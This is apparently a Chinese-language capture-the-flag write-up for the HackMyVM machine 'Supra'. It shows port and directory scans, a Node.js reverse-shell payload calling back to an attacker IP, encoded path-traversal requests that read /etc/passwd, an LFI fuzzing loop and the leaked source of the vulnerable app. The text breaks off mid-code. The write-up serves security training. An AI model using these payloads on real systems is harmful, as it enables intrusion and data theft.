{"id":777,"date":"2024-08-09T15:38:56","date_gmt":"2024-08-09T07:38:56","guid":{"rendered":"http:\/\/162.14.82.114\/?p=777"},"modified":"2024-08-09T15:38:56","modified_gmt":"2024-08-09T07:38:56","slug":"hmv-_-supra","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/777\/08\/09\/2024\/","title":{"rendered":"hmv[-_-]Supra"},"content":{"rendered":"<h1>Supra<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537899.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537899.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240712183313548\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537901.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537901.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809114900308\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.10.103:22\nOpen 192.168.10.103:80\nOpen 192.168.10.103:4000\n\nPORT     STATE SERVICE REASON  VERSION\n22\/tcp   open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)\n| ssh-hostkey: \n|   3072 d9:75:70:c0:72:4c:4b:df:66:54:15:e7:77:37:44:18 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3M700tkvIKlRU2W80ESj8iG6n1aHoOBcpf1Sg17U8kZe6AgY72CF7B1vmRvAnVJaYfMIOIO+qFLtGky\/+iKy48zcGOv3woQGoJaQBN0RsUrS2VR5lTYXR0iQKGF0AyexRIaBvWfMkMSmr5KOFTA5PXg9Q2GeyKWxnewsAm+7zgwGa0oE4J+qjikfWuqmKZOgOBzuBdK+fd2TQNcnglZhYfP3PPEMZY1ePxhCN\/wWecBBbjTXc67Tf5qADKsDliU9wdxp+Yv4u\/qe9cAcYlHdgC1MTGXN75Pn+IzWleUzqZS6CAGq2LHLxGx9J9W5VoHDns9enY9H19xINhYp312OvMQo9osaWqoR2w88fdpjAR6N\/7p2sPXvYG7sVfCb68T1Pjxsg\/9Nuy9QvfeWYqaIIt7Ry32Tt0Q0WTzegQpGRK8HsS4fGf7S2GDUs3FSfg\/PSCnIMZNqOM7BivwDOSxh14Elyy6AJXViYuycZO8QnOHAOMI5uWzbZ++ALlmdxMQs=\n|   256 3d:47:46:10:4a:5a:ee:b9:5f:94:61:bd:08:ff:7d:bb (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK\/Sg1X3XisZwfkGdPEeBo+ObY7+QIGdPk4m2cweF+myUy87mVPaD56mIFz3pFozfxvZKCNH1LjMsGFH1lXQAso=\n|   256 be:bc:64:9a:c4:45:32:83:ed:6c:50:c2:2a:a1:a9:a4 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK0pzA44OqYBOt9Nk26VpZXfZrbRtmjgUiulqFY8N\/YS\n80\/tcp   open  http    syn-ack Apache httpd 2.4.48 ((Debian))\n|_http-title: Apache2 Debian Default Page: It works\n| http-methods: \n|_  Supported Methods: POST OPTIONS HEAD GET\n|_http-server-header: Apache\/2.4.48 (Debian)\n4000\/tcp open  http    syn-ack Node.js (Express middleware)\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-title: NullTrace\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,html,txt -b 301,401,403,404\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.103\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   301,401,403,404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,html,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 10701]\nProgress: 9776 \/ 882244 (1.11%)[ERROR] Get &quot;http:\/\/192.168.10.103\/works.html&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/body.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n\nProgress: 83338 \/ 882244 (9.45%)\nProgress: 130744 \/ 882244 (14.82%)\nProgress: 175649 \/ 882244 (19.91%)\nProgress: 252871 \/ 882244 (28.66%)[ERROR] Get &quot;http:\/\/192.168.10.103\/caepipe.php&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 379668 \/ 882244 (43.03%)[ERROR] Get &quot;http:\/\/192.168.10.103\/51118853.html&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/Sell_Mat.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/51118853.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/Sell_Mat&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/Sell_Mat.html&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 412103 \/ 882244 (46.71%)[ERROR] Get &quot;http:\/\/192.168.10.103\/90368.php&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/coolhand&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/coolhand.php&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 464470 \/ 882244 (52.65%)[ERROR] Get &quot;http:\/\/192.168.10.103\/95843&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/163958.php&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/105473&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/95843.php&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/95843.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 487735 \/ 882244 (55.28%)[ERROR] Get &quot;http:\/\/192.168.10.103\/51396.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 489683 \/ 882244 (55.50%)[ERROR] Get &quot;http:\/\/192.168.10.103\/81758.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/38348.txt&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/42761&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/42761.html&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/51397&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get &quot;http:\/\/192.168.10.103\/38348.html&quot;: context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n\nProgress: 493426 \/ 882244 (55.93%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 493493 \/ 882244 (55.94%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<p>\u626b\u4e0d\u51fa\u6765\u62c9\u5012\u3002<\/p>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s http:\/\/$IP | html2text                        \n\n[Debian Logo]  Apache2 Debian Default Page\nIt works!\nThis is the default welcome page used to test the correct operation of the\nApache2 server after installation on Debian systems. If you can read this page,\nit means that the Apache HTTP server installed at this site is working\nproperly. You should replace this file (located at \/var\/www\/html\/index.html)\nbefore continuing to operate your HTTP server.\nIf you are a normal user of this web site and don&#039;t know what this page is\nabout, this probably means that the site is currently unavailable due to\nmaintenance. If the problem persists, please contact the site&#039;s administrator.\nConfiguration Overview<\/code><\/pre>\n<p>\u5c31\u662f\u4e00\u4e2aapache\u9ed8\u8ba4\u9875\u9762\u3002<\/p>\n<h3>\u654f\u611f\u7aef\u53e3<\/h3>\n<p>\u770b\u4e00\u4e0b\u8fd9\u4e2a<code>4000<\/code>\u7aef\u53e3\u600e\u4e48\u6d4b\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537902.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537902.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809120951463\" style=\"zoom:33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537903.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537903.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809121004995\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u627e\u5230\uff1a<\/p>\n<pre><code class=\"language-html\"> &lt;script&gt;\n        function ping() {\n            ip = document.getElementById(&quot;pingIn&quot;).value;\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/ping\/&quot; + ip, false);\n            xhttp.send();\n            document.getElementById(&quot;pingResult&quot;).innerHTML = xhttp.responseText;\n        }\n\n        function portscan() {\n            ip = document.getElementById(&quot;portscanIn&quot;).value;\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/portscan\/&quot; + ip, false);\n            xhttp.send();\n            document.getElementById(&quot;portscanResult&quot;).innerHTML = xhttp.responseText;\n        }\n\n        function whois() {\n            ip = document.getElementById(&quot;whoisIn&quot;).value;\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/whois\/&quot; + ip, false);\n            xhttp.send();\n            document.getElementById(&quot;whoisResult&quot;).innerHTML = xhttp.responseText;\n        }\n\n        function base64e() {\n            data = document.getElementById(&quot;base64eIn&quot;).value;\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/base64\/encode\/&quot; + data, false);\n            xhttp.send();\n            document.getElementById(&quot;base64eResult&quot;).innerHTML = xhttp.responseText;\n        }\n\n        function base64d() {\n            data = document.getElementById(&quot;base64dIn&quot;).value;\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/base64\/decode\/&quot; + data, false);\n            xhttp.send();\n            document.getElementById(&quot;base64dResult&quot;).innerHTML = xhttp.responseText;\n        }\n\n        function passgen() {\n\n            var xhttp = new XMLHttpRequest();\n            xhttp.open(&quot;GET&quot;, &quot;\/generate-password&quot;, false);\n            xhttp.send();\n            document.getElementById(&quot;passgenResult&quot;).innerHTML = xhttp.responseText;\n        }\n    &lt;\/script&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u6587\u4ef6\u4e0a\u4f20\u63a5\u53e3\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u53cd\u5f39shell\u6587\u4ef6\uff0c\u5148\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537904.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202408091537904.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240809121333129\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8bbf\u95ee\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s http:\/\/$IP:4000\/var\/www\/api\/uploads\/test.txt | html2text\nCannot GET \/var\/www\/api\/uploads\/test.txt\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s http:\/\/$IP:4000\/uploads\/test.txt | html2text \njust a test......<\/code><\/pre>\n<p>\u56e0\u4e3a\u8fd9\u4e2a\u7f51\u9875\u662f<code>nodejs<\/code>\u521b\u5efa\u7684\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u76f8\u5173\u53cd\u5f39 shell\uff0c\u4f46\u662f\u53d1\u73b0\u5e76\u672a\u89e3\u6790\uff1a<\/p>\n<pre><code class=\"language-bash\">(function(){\n    var net = require(&quot;net&quot;),\n        cp = require(&quot;child_process&quot;),\n        sh = cp.spawn(&quot;bash&quot;, []);\n    var client = new net.Socket();\n    client.connect(1234, &quot;192.168.10.104&quot;, function(){\n        client.pipe(sh.stdin);\n        sh.stdout.pipe(client);\n        sh.stderr.pipe(client);\n    });\n    return \/a\/; \/\/ Prevents the Node.js application from crashing\n})();<\/code><\/pre>\n<h3>LFI<\/h3>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u6587\u4ef6\u5305\u542b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/$IP:4000\/uploads\/..\/..\/..\/..\/etc\/passwd&quot; | html2text                       \nCannot GET \/etc\/passwd\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/$IP:4000\/uploads\/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd&quot;            \nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:114:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nit404:x:1000:1000:it404,,,:\/home\/it404:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nDebian-exim:x:107:115::\/var\/spool\/exim4:\/usr\/sbin\/nologin<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4e00\u4e0b\u8bfb\u53d6\u5176\u4ed6\u4e1c\u897f\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ echo -n &quot;..\/..\/..\/..\/..\/etc\/passwd&quot; | xxd -p | tr -d &#039;\\n&#039; | sed &#039;s\/\\(..\\)\/%\\1\/g&#039;\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/$IP:4000\/uploads\/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64&quot; \nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:114:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nit404:x:1000:1000:it404,,,:\/home\/it404:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nDebian-exim:x:107:115::\/var\/spool\/exim4:\/usr\/sbin\/nologin<\/code><\/pre>\n<p>\u60f3\u7740\u641e\u4e2a\u811a\u672c\u8dd1\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\nwhile IFS= read -r line; do\n    urlcode=$(echo -n &quot;$line&quot; | xxd -p | tr -d &#039;\\n&#039; | sed &#039;s\/\\(..\\)\/%\\1\/g&#039;)\n    echo &quot;[+] payload:$line&quot; &gt;&gt; result.txt\n    echo &quot;[+] url_payload:$urlcode&quot; &gt;&gt; result.txt\n    curl -s &quot;http:\/\/192.168.10.103:4000\/uploads\/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f$urlcode&quot; &gt;&gt; result.txt\ndone &lt; \/usr\/share\/seclists\/Fuzzing\/LFI\/LFI-gracefulsecurity-linux.txt<\/code><\/pre>\n<p>\u989d\uff0c\u4e0d\u80fd\u8bf4\u6ca1\u6709\u7528\uff0c\u53ea\u80fd\u8bf4\u4e00\u70b9\u7528\u4e0d\u5230\u3002\u3002\u3002<\/p>\n<p>\u770b\u5230\u4e4b\u524d\u7ed9\u5230\u7684\u76ee\u5f55\uff0c\u7ffb\u4e00\u4e0b<code>app.js<\/code>:<\/p>\n<pre><code class=\"language-bash\"># \/var\/www\/api\/uploads\/test.txt\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Supra]\n\u2514\u2500$ curl -s &quot;http:\/\/192.168.10.103:4000\/uploads\/..%2Fapp.js&quot;\nvar express = require(&#039;express&#039;);\nconst { exec } = require(&#039;child_process&#039;)\nconst { base64encode, base64decode } = require(&#039;nodejs-base64&#039;);\nconst whois = require(&#039;node-xwhois&#039;);\nconst ipRegex = require(&#039;ip-regex&#039;);\nvar generator = require(&#039;generate-password&#039;);\nconst fs = require(&#039;fs&#039;)\nvar multer = require(&#039;multer&#039;);\n\nvar storage = multer.diskStorage({\n    destination: function (req, file, callback) {\n        callback(null, &#039;.\/uploads&#039;);\n    },\n    filename: function (req, file, callback) {\n        callback(null, file.originalname);\n    }\n});\n\nvar upload = multer({ storage: storage }).single(&#039;userFile&#039;);\nvar app = express();\napp.set(&#039;view engine&#039;, &#039;ejs&#039;);\n\napp.get(&#039;\/&#039;, (req, res) =&gt; {\n\n    res.render(&#039;home&#039;);\n\n});\n\napp.get(&#039;\/ping\/:ip&#039;, (req, res) =&gt; {\n\n    ip = req.params.ip\n    if (ipRegex({ exact: true }).test(ip)) {\n\n        exec(&quot;ping -c 3 &quot;.concat(ip), (error, stdout, stderr) =&gt; {\n            if (error) {\n\n            }\n            if (stderr) {\n\n            }\n            console.log(`stdout: ${stdout}`);\n            res.send(`stdout: ${stdout}`)\n        });\n    }\n    else {\n        res.send(&quot;This is not an IP&quot;);\n    }\n\n});\n\napp.get(&#039;\/portscan\/:ip&#039;, (req, res) =&gt; {\n\n    ip = req.params.ip\n\n    if (ipRegex({ exact: true }).test(ip)) {\n\n        exec(&quot;nmap -p 21,22,443,80,8080 -T4 &quot;.concat(ip), (error, stdout, stderr) =&gt; {\n            if (error) {\n\n            }\n            if (stderr) {\n\n            }\n            console.log(`stdout: ${stdout}`);\n            res.send(`stdout: ${stdout}`)\n        });\n    }\n    else {\n        res.send(&quot;This is not an IP&quot;);\n    }\n\n});\n\napp.get(&#039;\/whois\/:ip&#039;, (req, res) =&gt; {\n\n    ip = req.params.ip\n\n    if (ipRegex({ exact: true }).test(ip)) {\n\n        whois.whois(ip)\n            .then(data =&gt; res.send(data))\n            .catch(err =&gt; console.log(err));\n    }\n    else {\n        res.send(&quot;This is not an IP&quot;);\n    }\n\n});\n\napp.get(&#039;\/base64\/decode\/:data&#039;, (req, res) =&gt; {\n\n    data = req.params.data\n    base64decoded = base64decode(data)\n    res.send(base64decoded)\n});\n\napp.get(&#039;\/base64\/encode\/:data&#039;, (req, res) =&gt; {\n\n    data = req.params.data\n    base64encoded = base64encode(data)\n    res.send(base64encoded)\n});\n\napp.get(&#039;\/generate-password&#039;, (req, res) =&gt; {\n\n    var password = generator.generate({\n        length: 18,\n        numbers: true,\n        symbols: true\n    });\n\n    res.send(password)\n});\n\napp.get(&#039;\/uploads\/:filename&#039;, (req, res) =&gt; {\n\n    finalPath = __dirname.concat(&quot;\/uploads\/&quot;).concat(req.params.filename)\n    console.log(finalPath)\n    fs.readFile(finalPath, &#039;utf8&#039;, (err, data) =&gt; {\n        res.end(data);\n    })\n});\n\napp.post(&#039;\/file&#039;, function (req, res) {\n    upload(req, res, function (err) {\n\n        if (req.fileValidationError) {\n            return res.send(req.fileValidationError);\n        }\n        else if (!req.file) {\n            return res.send(&#039;Please select a file to upload&#039;);\n        }\n        else if (err instanceof multer.MulterError) {\n            return res.send(err);\n        }\n        else if (err) {\n            return 